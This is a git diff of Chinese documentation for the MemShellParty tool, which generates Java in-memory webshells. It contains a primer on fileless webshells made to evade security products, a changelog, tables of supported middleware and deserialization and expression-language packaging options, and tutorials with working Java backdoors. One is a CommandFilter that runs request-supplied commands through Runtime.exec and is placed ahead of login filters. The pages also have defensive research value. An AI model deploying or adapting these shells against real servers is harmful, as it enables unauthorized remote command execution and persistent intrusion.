等等,一般 Code 里面反编译失败才需要切换,其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。 - -![jadx_interface](./images/jadx_interface.png) - -## File Expander — IDEA 插件 - -IDEA 自带反编译功能,并且使用习惯之后也是相当好用。但是有一个问题,如果 jar 包中套 jar 包,那么里面的 jar 包并不会默认展开,自然想到的办法就是解压 一次 jar,把里面的东西弄出来,但是有了 File Expander 插件之后,无论是 zip 还是 jar in jar,都轻松查看了。 - -![idea_plugins](./images/idea_plugins.png) - -下图演示了 java-chains-1.4.0.jar,直接可以 expand 到 chains-core,开学!!!,这种情况下不比 jadx 要好用。 - -![idea_javachains](./images/idea_javachains.png) - -## Find 命令 - -在批量查找当前目录下某个类存在于那个 jar 文件中,需要使用到 find 命令协助,由于需要用到 jar 命令,因此依赖 JDK 环境。JRE 环境下,可以将文件打包发送到 JDK 环境再继续研究。 - -在 tomcat 目录下,找到 ApplicationContext 在哪个 jar 文件中。 - -```bash -░▒▓ ~/workspace/apache-tomcat-8.5.96 -❯ find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \; -Found in: ./lib/catalina.jar -``` - -部分环境下,例如 WAS 可能并没有设置 Java Home,此时 jar 命令使用绝对路径即可。 - -```bash -[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \; -Found in: ./plugins/com.ibm.ws.webcontainer.jar -``` diff --git a/docs/WhatIsMemShell.md b/docs/WhatIsMemShell.md deleted file mode 100644 index c8312f8c..00000000 --- a/docs/WhatIsMemShell.md +++ /dev/null @@ -1,41 +0,0 @@ -# Java 内存马简介 - -Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。 - -## 什么是 webshell - -> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell) - -webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。 - -常见的 webshell 功能包括: - -1. 命令回显,反弹 unix shell -2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。 -3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。 - -## 演变历程 - -随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。 - -因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。 - -此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。 - -## 常见 Java 内存马 - -在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。 - -冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。 - -**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。 - -Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。 - -从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。 - -## 延伸阅读 - -- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq) -- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451) -- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html) diff --git a/docs/images/arthas_classloader.png b/docs/images/arthas_classloader.png deleted file mode 100644 index adb1fd8b..00000000 Binary files a/docs/images/arthas_classloader.png and /dev/null differ diff --git a/docs/images/arthas_jad1.png b/docs/images/arthas_jad1.png deleted file mode 100644 index 1fb3d0b4..00000000 Binary files a/docs/images/arthas_jad1.png and /dev/null differ diff --git a/docs/images/arthas_jad2.png b/docs/images/arthas_jad2.png deleted file mode 100644 index b89ef2f8..00000000 Binary files a/docs/images/arthas_jad2.png and /dev/null differ diff --git a/docs/images/arthas_sc.png b/docs/images/arthas_sc.png deleted file mode 100644 index eb93ea27..00000000 Binary files a/docs/images/arthas_sc.png and /dev/null differ diff --git a/docs/images/idea_javachains.png b/docs/images/idea_javachains.png deleted file mode 100644 index ab09e27b..00000000 Binary files a/docs/images/idea_javachains.png and /dev/null differ diff --git a/docs/images/idea_plugins.png b/docs/images/idea_plugins.png deleted file mode 100644 index bc7d3765..00000000 Binary files a/docs/images/idea_plugins.png and /dev/null differ diff --git a/docs/images/jadx_interface.png b/docs/images/jadx_interface.png deleted file mode 100644 index c2d891b2..00000000 Binary files a/docs/images/jadx_interface.png and /dev/null differ diff --git a/web/bun.lock b/web/bun.lock index 1574a75d..433e1447 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -5,52 +5,52 @@ "": { "name": "fumadocs", "dependencies": { - "@hookform/resolvers": "latest", - "@orama/orama": "latest", - "@orama/stopwords": "latest", - "@orama/tokenizers": "latest", - "@react-router/node": "latest", - "@tanstack/react-query": "latest", - "class-variance-authority": "latest", - "clsx": "latest", - "framer-motion": "latest", - "fumadocs-core": "latest", - "fumadocs-mdx": "latest", - "fumadocs-ui": "latest", - "i18next": "latest", - "isbot": "latest", - "lucide-react": "latest", - "motion": "latest", - "radix-ui": "latest", - "react": "latest", - "react-copy-to-clipboard": "latest", - "react-dom": "latest", - "react-hook-form": "latest", - "react-i18next": "latest", - "react-syntax-highlighter": "latest", - "sonner": "latest", - "tailwind-merge": "latest", - "tw-animate-css": "latest", - "yup": "latest", + "@hookform/resolvers": "^5.2.2", + "@orama/orama": "^3.1.16", + "@orama/stopwords": "^3.1.16", + "@orama/tokenizers": "^3.1.16", + "@react-router/node": "^7.10.1", + "@tanstack/react-query": "^5.90.12", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "framer-motion": "^12.23.25", + "fumadocs-core": "16.2.3", + "fumadocs-mdx": "14.1.0", + "fumadocs-ui": "16.2.3", + "i18next": "^25.7.1", + "isbot": "^5.1.32", + "lucide-react": "^0.556.0", + "motion": "^12.23.25", + "radix-ui": "^1.4.3", + "react": "^19.2.1", + "react-copy-to-clipboard": "^5.1.0", + "react-dom": "^19.2.1", + "react-hook-form": "^7.68.0", + "react-i18next": "^16.4.0", + "react-syntax-highlighter": "^16.1.0", + "sonner": "^2.0.7", + "tailwind-merge": "^3.4.0", + "tw-animate-css": "^1.4.0", + "yup": "^1.7.1", }, "devDependencies": { - "@biomejs/biome": "latest", - "@react-router/dev": "latest", - "@tailwindcss/vite": "latest", - "@types/mdx": "latest", - "@types/node": "latest", - "@types/react": "latest", - "@types/react-copy-to-clipboard": "latest", - "@types/react-dom": "latest", - "@types/react-syntax-highlighter": "latest", - "react-router-devtools": "latest", - "rimraf": "latest", - "serve": "latest", - "tailwindcss": "latest", - "typescript": "latest", - "vite": "latest", - "vite-plugin-devtools-json": "latest", - "vite-tsconfig-paths": "latest", + "@biomejs/biome": "^2.3.8", + "@react-router/dev": "^7.10.1", + "@tailwindcss/vite": "^4.1.17", + "@types/mdx": "^2.0.13", + "@types/node": "^24.10.1", + "@types/react": "^19.2.7", + "@types/react-copy-to-clipboard": "^5.0.7", + "@types/react-dom": "^19.2.3", + "@types/react-syntax-highlighter": "^15.5.13", + "react-router-devtools": "^6.0.0", + "rimraf": "^6.1.2", + "serve": "^14.2.5", + "tailwindcss": "^4.1.17", + "typescript": "^5.9.3", + "vite": "^7.2.6", + "vite-plugin-devtools-json": "^1.0.0", + "vite-tsconfig-paths": "^5.1.4", }, }, }, diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index c62a4cbc..e396550e 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,27 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 开发中 + +### Added + +1. 支持 Jetty Handler 与 Customizer 内存马生成(By @ReaJason) +2. 支持 Jetty ee8~ee11 的回显马(无法从 post urlencoded 中获取 parameter,请从 url queryParam 或 header 传入参数) +3. **内存马生成支持回显模式对接回显马** +4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用) +5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97)) +6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)) +7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 漏洞测试 payload +8. web 模块添加 fumadocs 框架,支持文档编写 +9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入 +10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)) +11. 回显马参数名称支持默认随机生成 + +### Changed + +1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow +2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间 + ## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20 ### Added diff --git a/web/content/docs/custom-memshell.mdx b/web/content/docs/custom-memshell.mdx new file mode 100644 index 00000000..d93762e8 --- /dev/null +++ b/web/content/docs/custom-memshell.mdx @@ -0,0 +1,56 @@ +--- +title: 实现自定义内存马 +--- + +MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下: + +```java +Object context = getContext(); +Object shell = defineClass(getShellBase64Str()); + +inject(context, shell); +``` + +自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。 + +注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。 + +### 实现参考 + +1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为 + jakarta,无须重复实现。 +2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest + 方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。 +3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。 +4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent + 内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、 + `javax.crypto.Cipher`。 + +| 挂载类型 | 参考实现 | +|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | +| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | +| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | +| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | +| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | +| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | +| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | +| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | +| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | +| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | +| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | +| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | +| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | +| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | + +### 参考步骤 + +1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地 +2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写 +3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava` +4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 +5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成 \ No newline at end of file diff --git a/web/content/docs/index.mdx b/web/content/docs/index.mdx index a20fc0d1..d414babd 100644 --- a/web/content/docs/index.mdx +++ b/web/content/docs/index.mdx @@ -1,290 +1,88 @@ --- -title: 快速使用 +title: 适配情况 icon: Album --- -Hey there! Fumadocs is the docs framework that also works on React Router! -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | +已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21 + +### 中间件以及框架 + +| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +|----------------------|------------------------|----------------------|----------------------| +| Servlet | Servlet | Filter | Filter | +| Filter | Filter | Listener | Listener | +| Listener | Listener | Valve | Valve | +| Valve | Handler | FilterChain - Agent | FilterChain - Agent | +| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent | +| FilterChain - Agent | ServletHandler - Agent | | | +| ContextValve - Agent | | | | +| Upgrade | | | | + +| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | +|---------------------|--------------------------|-----------------|--------------| +| Servlet | Interceptor | WebFilter | NettyHandler | +| Filter | ControllerHandler | HandlerMethod | | +| Listener | FrameworkServlet - Agent | HandlerFunction | | +| FilterChain - Agent | | NettyHandler | | + +| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow | +|----------------------|----------------------------|------------------------|------------------------| +| Filter | Filter | Servlet | Servlet | +| Listener | Listener | Filter | Filter | +| Valve | Valve(6) | Listener | Listener | +| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent| +| FilterChain - Agent | ContextValve - Agent (6) | | | +| ContextValve - Agent | ServletHandler - Agent (7) | | | + +| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | +|-----------------------|-------------------------| +| Servlet | Servlet | +| Filter | Filter | +| Listener | Listener | +| FilterManager - Agent | ServletContext - Agent | + +| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | +|----------------------|----------------------|------------------------| +| Filter | Filter | Filter | +| Listener | Listener | Listener | +| Valve | Valve | Valve | +| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | +| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | + +| Apusic AS (9 ~ 10) | Primeton(6.5) | +|---------------------|----------------------| +| Servlet | Filter | +| Filter | Listener | +| Listener | Valve | +| FilterChain - Agent | FilterChain - Agent | +| | ContextValve - Agent | + +### 内存马功能 + +- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla) +- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) +- [x] 命令执行 +- [x] [Suo5](https://github.com/zema1/suo5) +- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) +- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) +- [x] Custom + +### 打包方式 + +- [x] BASE64 +- [x] GZIP BASE64 +- [x] JSP +- [x] JSPX +- [x] JAR、ScriptEngineJar、GroovyTransformJar +- [x] BCEL +- [x] 内置脚本引擎、Rhino 脚本引擎 +- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell +- [x] Velocity、Freemarker、JinJava +- [x] 原生反序列化(CB 和 CC 链) +- [x] Agent +- [x] XXL-JOB Executor +- [x] Hessian、Hessian2 反序列化(XSLT 链) +- [x] H2 +- [ ] JNDI +- [ ] 其他常见反序列化 \ No newline at end of file diff --git a/web/content/docs/memshell/filter.mdx b/web/content/docs/memshell/filter.mdx new file mode 100644 index 00000000..71afda94 --- /dev/null +++ b/web/content/docs/memshell/filter.mdx @@ -0,0 +1,103 @@ +--- +title: Filter 内存马 +--- + +> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) + +Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。 + +## Filter 配置 + +Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价 + +```xml + + Multipe Mappings Filter + /foo/* + Servlet1 + Servlet2 + /bar/* + +``` + +```java +@WebFilter( + filterName = "Multipe Mappings Filter", + urlPatterns = {"/foo/*", "/bar/*"}, + servletNames = {"Servlet1", "Servlet2"} +) +public class MultipeMappingsFilter implements Filter { + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + // TODO + } +} +``` + +## doFilter + +Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。 + +Filter 的接口签名如下,其中最重要的就是 doFilter 方法。 + +1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。 +2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。 +3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。 +4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。 + +```java +public interface Filter { + /** + * 由 Web 容器在初始化 Filter 时调用。 + */ + public void init(FilterConfig filterConfig) throws ServletException; + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException; + /** + * 由 Web 容器在卸载 Filter 时调用。 + */ + public void destroy(); +} +``` + +## FilterShell + +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。 + +1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 +3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。 + +```java +public class CommandFilter implements Filter { + public static String paramName; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; + } + chain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} +``` diff --git a/web/content/docs/memshell/listener.mdx b/web/content/docs/memshell/listener.mdx new file mode 100644 index 00000000..f76bc33b --- /dev/null +++ b/web/content/docs/memshell/listener.mdx @@ -0,0 +1,81 @@ +--- +title: Listener 内存马 +--- + +> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md) + +Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。 + +| Listener 接口类 | 描述 | +|--------------------------------------------------|---------------------------------| +| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 | +| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 | +| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 | +| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 | +| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 | +| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 | +| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 | +| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 | +| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 | +| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 | + +## ServletRequestListener + +在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。 + +```java +public interface ServletRequestListener extends EventListener { + public void requestDestroyed(ServletRequestEvent sre); + + /** + * Receives notification that a ServletRequest is about to come + * into scope of the web application. + * + * @param sre the ServletRequestEvent containing the ServletRequest + * and the ServletContext representing the web application + */ + public void requestInitialized(ServletRequestEvent sre); +} +``` + +以下时使用 ServletRequestListenerShell 命令回显的代码实现。 + +1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。 + +```java +public class CommandListener implements ServletRequestListener { + public static String paramName; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = 